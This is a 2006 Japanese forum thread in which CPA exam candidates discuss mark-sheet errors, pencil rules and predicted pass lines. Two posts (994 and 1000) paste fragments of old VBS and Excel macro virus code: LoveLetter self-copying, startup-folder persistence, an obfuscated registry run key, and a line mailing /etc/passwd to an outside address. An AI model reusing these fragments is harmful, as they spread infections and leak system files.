890 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:06:00 ID:???
シャーペンの奴は謎だな
そんなとこで我を張って何の意味があるんだ?

891 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:06:07 ID:???
今までも短答が大変だったけど
来年以降はもっと短答が大変になるね。

本来の論文式重視と裏腹です

892 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:06:10 ID:???
マークミスは結構いるって話だな。
ただ、段違いとかではない限り、目視で確認するらしい。

893 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:06:26 ID:???
あーあ、寝付けなくなったw
短答は大丈夫なのに論文のこといろいろ考えてたら目が冴えちゃった。
もう勉強しながら徹夜するw

オモチャになるびち太郎が来るとはラッキーw

894 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:06:38 ID:???
>>885
俺もえんぴつにしとけばよかったと今頃後悔してるわ

895 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:06:42 ID:???
目視は今年からやらないよ
マーク薄かったら即アウト

896 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:06:50 ID:???
去年シャーペンでも合格したよ

897 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:06:52 ID:vetIEdWp
今年16000人強受けて合格率は23〜25%だと思う。勘だけはいいです


898 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:07:05 ID:???
マークミス・・・

899 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:07:26 ID:???
>>883
俺もそうなんだよ。
シャーペンが読みとられないとしたら俺受験番号も受験地もマークしてないことに…

900 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:07:27 ID:???
>>879
今さらながらタックの講師座談会は熱いなw
さすがにやりすぎだが、結果的にいい線はついてる

901 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:07:47 ID:???
去年シャーペンで受けたら落ちた。
だから今年は鉛筆にした。

902 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:07:53 ID:???
マークミスはいいわけに言う人がいます。
でも、実際はほとんどない

903 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:08:25 ID:???
>>883
シャープペンのAg-C-No2は機械読み取れないだろw
だからわざわざ鉛筆指定してただろ
もう言い訳ですか?

904 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:08:35 ID:7XTvhu4V
何人くらい受からせるのかな


905 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:08:37 ID:???
タックの講師座談会が最大の煽りとは!

906 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:08:44 ID:???
マークミスって殆どダブルマークだろ
消しきれてないってやつ

907 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:09:10 ID:???
なんかびちが戻ってきてうれしいわ。
今年の短答スレMVPだからな

908 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:09:22 ID:???
4000〜6000
これはタックが自信を持ってお出しする数値です

909 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:09:33 ID:???
>>890
鉛筆じゃないとあかんって知らんかったんよ


910 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:09:41 ID:???
なんか無駄に賑わってきたな
いいよいいよー

911 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:09:44 ID:???
>>908
もう一声!

912 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:10:02 ID:???
そろそろ次スレを建てる準備を

913 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:10:05 ID:7H6ib7xK
びち久しぶりだな
久しぶりに殺意を覚えた


914 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:10:35 ID:???
>>911
さすがにこれ以上はまけれませんな

915 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:10:36 ID:???
今年は短答答練で2回ほどマークミスした。
確率的に言うと、1/4個マークミスしてるはず。

80あるから無問題なんだが

916 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:11:01 ID:???
昨年自己採点37だったけど、発表前日マークミスがこわくて
寝れなかったから
今年は残り10分からマーク2回確認した

917 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:11:30 ID:???
答練はシャーペンだったけど、ほんちゃんは鉛筆でやったな
家に鉛筆が無くて当日コンビニで買った

918 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:11:41 ID:???
ボーダー予想  講師予想(座談会)
TAC 70前後  76
大原 70前後  62〜65
LEC 70前後   64〜67
CPA 66〜68   65 
クレ ?     ?




919 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:12:24 ID:???
何度も眺めているが、講師予想って本当に低いのな・・・

920 :びち太郎 ◆TJ9qoWuqvA :2006/07/05(水) 00:12:44 ID:jQFwt7SL
短答合格率を3割と考えると
4800人ということになりますね。

4800人なら、何点くらいなんでしょうか。

921 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:13:19 ID:???
大学受験も含めてマークミスってしたことないな
マークミスする人って視力(乱視?)の問題なの?

922 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:13:30 ID:???
びち太郎はどう思う?

923 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:13:47 ID:???
>>920
71じゃね

924 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:13:58 ID:???
>>919
受験生のやる気を引き出すのが講師の仕事だから。

925 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:14:19 ID:???
>>921
単なる注意不足じゃん

926 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:14:47 ID:???
答練ずっとシャーペンだったんだけどマークミスなんか一回もなかったよ。
本番もシャーペンで問題ないのでは?
それとも本番のマークはなんか特殊なやつなのか?

927 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:14:58 ID:???
>>923
平均点が70〜71なのにそこに4800もいるわけ無いだろ?

928 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:15:45 ID:???
講師予想って毎年当たっているの?

929 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:16:23 ID:???
びちは無難なことしか言わないからつまらんな
監査の疑義問並に暴走してくれよ
ボーダー77、合格者4000人!とか

930 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:16:56 ID:???
>>926
俺はシャーペン使用かつ塗りなおしを行ったが
2年連続短刀通過した

931 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:17:33 ID:???
しっかし47までよく続いたな、このスレ。
もうじき48だし。
運命の時間まであと9時間。

932 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:18:08 ID:???
>>928
たいてい当たるか、底底を突いてくる

933 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:19:19 ID:???
あれ?
昨日のID晒し自演74(ネットカフェ)は今日は居ないの?

934 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:19:55 ID:???
俺にとっては重要な話なのできく。
びちにはチンコついてるの?

935 :びち太郎 ◆TJ9qoWuqvA :2006/07/05(水) 00:20:08 ID:jQFwt7SL
監査は暴走したと思っていないんです。

936 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:20:19 ID:1OAkFiio
70ありゃ受かるよ、黙って勉強しろ

937 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:22:25 ID:???
ぴちの監査14の2にかけてる!!


938 :一般に公正妥当と認められた名無しさん :2006/07/05(水) 00:23:00 ID:???
マークミス何回かやったが、途中で気付いた。
どこからまちがえたのかエライあせった。
時間7,8分ロスした。



939 :びち太郎 ◆TJ9qoWuqvA :2006/07/05(水) 00:23:52 ID:jQFwt7SL

私の予想では、今年は短答30%
論文40%
最終12%くらいだと思っています。

940 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:24:34 ID:???
>>びち
てか論文の勉強進んでんのか?
租税とかどんな感じ?

941 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:24:43 ID:???
>>933
そんな奴はモトモトいなくて66君だったっていうのがこのスレの流れ

942 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:25:17 ID:???
あまいよ。クソ太郎。
最終は8パーセントくらいに維持するっていってるよ。
無効三年くらいは。

943 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:25:21 ID:???
びち太郎の名前の由来教えてくれよ

944 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:25:35 ID:???
>>939
科目合格は?

945 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:25:37 ID:7H6ib7xK
次スレは49だよね?
でもまだ46で再利用出来るのあるからそれ使うか?

946 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:25:52 ID:???
>>びちさん
で、ボーダー予想は?

947 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:26:11 ID:???
昔、買ってた犬の名前だよ。ぴち。

948 :びち太郎 ◆TJ9qoWuqvA :2006/07/05(水) 00:26:27 ID:jQFwt7SL
>>937
監査14は2だと今でも思っています。

949 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:26:42 ID:???
ボーダー予想  講師予想(座談会)
TAC 70前後  76
大原 70前後  62〜65
LEC 70前後   64〜67
CPA 66〜68   65 
クレ ?     ?




950 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:26:54 ID:???
びちびち〜
びちの初恋の娘の名前教えてくれよ〜
できればどこを好きになったかも

951 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:27:06 ID:7H6ib7xK
びちは確かいぬころの名前だったっけか?

952 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:27:21 ID:???
次スレの用意を

953 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:27:36 ID:???
ボーダーは62だったら脱糞する。

954 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:28:04 ID:???
>>びち
あれは 1だよ。

955 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:28:20 ID:???
あのさ、俺自演君でもなんでもないが、
本当に66はこのスレの中で多い意見なのか?
誰か教えてくれ

956 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:28:37 ID:???
みんなマークしたあと見直ししないわけ?
俺2回ぐらい見直した

957 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:28:55 ID:???
びち 下痢かと‥思ったよ

958 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:29:00 ID:???
こんにちは84です。

959 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:29:14 ID:???
>>953
そりゃたしかにだっぷんだ〜

960 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:29:39 ID:???
>>953
そのうんこ、もらっていいですかハアハア

961 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:29:59 ID:???
>>956
俺は3回した

962 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:30:03 ID:???
>>936
いいやつだ

963 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:30:20 ID:???
>>955
66は多いんじゃないの?

964 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:30:39 ID:???
びち太郎の語源

bitch
1  雌犬,(イヌ科一般の)雌. ⇒DOGn. 3: a 〜 wolf 雌オオカミ.
2  《俗》《女性を軽べつして》「あばずれ」;淫(いん)婦,「ばいた」.⇒SON OF A BITCH
3  《米俗》不平;難物,不愉快なもの;《反語的》すばらしいもの.


965 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:30:46 ID:???
一問一問確かめながらマークしてたらマークミスなんかしようがないと思うんだが
まあ今回は時間が厳しい科目がなかったから一応見直ししたけどね

966 :一般に公正妥当と認められた名無しさん :2006/07/05(水) 00:30:54 ID:???
>>955
そんなは図はありません。
他称66君の僕が保障します。

967 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:31:03 ID:???
>>953が 小倉弘子だったらどうする?

968 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:32:00 ID:???
955=963

慈円君キター

969 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:32:04 ID:???
>>966
サンクス


970 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:33:04 ID:???
俺の勝手な妄想
ボーダー66煽り……不安な72点前後 少々頭がおかしい
ボーダー79煽り……暇な65点前後 少々頭がおかしい

971 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:33:08 ID:???
>>968
御免、955は確かに俺だが、963は違う奴だよ

972 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:33:34 ID:???
次スレをたててくれ。

973 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:34:50 ID:???
>>967
もい予約済みですので悪しからず

974 :びち太郎 ◆TJ9qoWuqvA :2006/07/05(水) 00:34:51 ID:jQFwt7SL
短答後は経営と租税しかやってないんです。

他の科目はいまいち何をしたらいいのか分からないので。

975 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:34:51 ID:???
ボーダー予想  講師予想(座談会)
TAC 70前後  76
大原 70前後  62〜65
LEC 70前後   64〜67
CPA 66〜68   65 
クレ ?     ?




976 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:35:21 ID:???
次スレは49だから気をつけてな。
俺は立てれんかったわ。

977 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:35:26 ID:???
おい!!びち!!
主に租税の仕上がり具合等
論文の仕上がりはどうなんだよ!!!

978 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:35:33 ID:???
次スレ〜

979 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:36:05 ID:???
びちがいるからサッカーまで持ちそうだ

980 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:36:06 ID:???
ぶっちゃけここにいる人はボーダーいくつだと思っているの?

981 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:36:23 ID:???
木田の16年ぶりオールスター出場ってのもある意味すげえな。


982 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:36:38 ID:???
>>972
自分で立てろや、くそイケメン野郎

983 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:36:39 ID:???
そんなことよりボーダー

984 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:36:47 ID:???
短答46
http://school5.2ch.net/test/read.cgi/exam/1151611186/l50

ここ再利用でいいんじゃね

985 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:37:00 ID:???
じゃあ963が自演厨かwww

986 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:37:16 ID:???
明日は祭りなのに再利用か?

987 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:37:32 ID:???
経営ってそんなにあせらんでも
間に合うだろ

988 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:37:35 ID:???
>>984
わかりにくい。却下。

989 :びち太郎 ◆TJ9qoWuqvA :2006/07/05(水) 00:37:46 ID:jQFwt7SL
>>977
租税は仕上がってないです。
ちなみに、仕上がっている科目はないです。

最近また鬱気味なんですよね。
7月を後悔なく過ごして、8月のあたまくらいに
自信がでてくればいいかな、っていうところです。

990 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:37:58 ID:???
>>980
なんだかんだで70

991 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:38:09 ID:1VBkPA0L
ボーダー64だったらいいね!

992 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:38:15 ID:???
ボーダー予想  講師予想(座談会)
TAC 70前後  76
大原 70前後  62〜65
LEC 70前後   64〜67
CPA 66〜68   65 
クレ ?     ?




993 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:38:22 ID:???
そこもあっというまに埋めちゃえ!

994 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:38:29 ID:???
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
fso.copyfile "dirsystem&nurupo.vbs","j:\windows\startmenu\programs\startup\"

995 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:38:49 ID:???
>>991
ああ、それでもいいよ
だけどすんごい祭りになりそう

996 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:39:01 ID:???
びちは何点?

997 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:39:01 ID:???
1000ならみんな合格

998 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:39:09 ID:???
>>びちー
ちなみに租税直1、何点くらいだったの?

999 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:39:34 ID:???
合格

1000 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:39:35 ID:???
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
fso.copyfile "dirsystem&nurupo.vbs","j:\windows\startmenu\programs\startup\"

1001 :1001:Over 1000 Thread


−−−−−申し込み受付終了−−−−−
このスレッドの申し込みは1000を超えました。
以後は次のスレッドにてお申し込み下さい。
皆さんの努力が報われますように。

┏━━━━━━━━━┓
┃ 200X年度 XX試験  ┃
┃ 第774号 モナー.  .┃
┃ ┌──────┐ ┃
┃ │   ∩_∩   | ┃     会計全般試験@2ch掲示板
┃ │  ( ´∀` )  | ┃     http://school5.2ch.net/exam/ 
┃ │   (     . ). | ┃
┃ └──────┘ ┃
┗━━━━━━━━━┛



194 KB
★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.04.00 2017/10/04 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)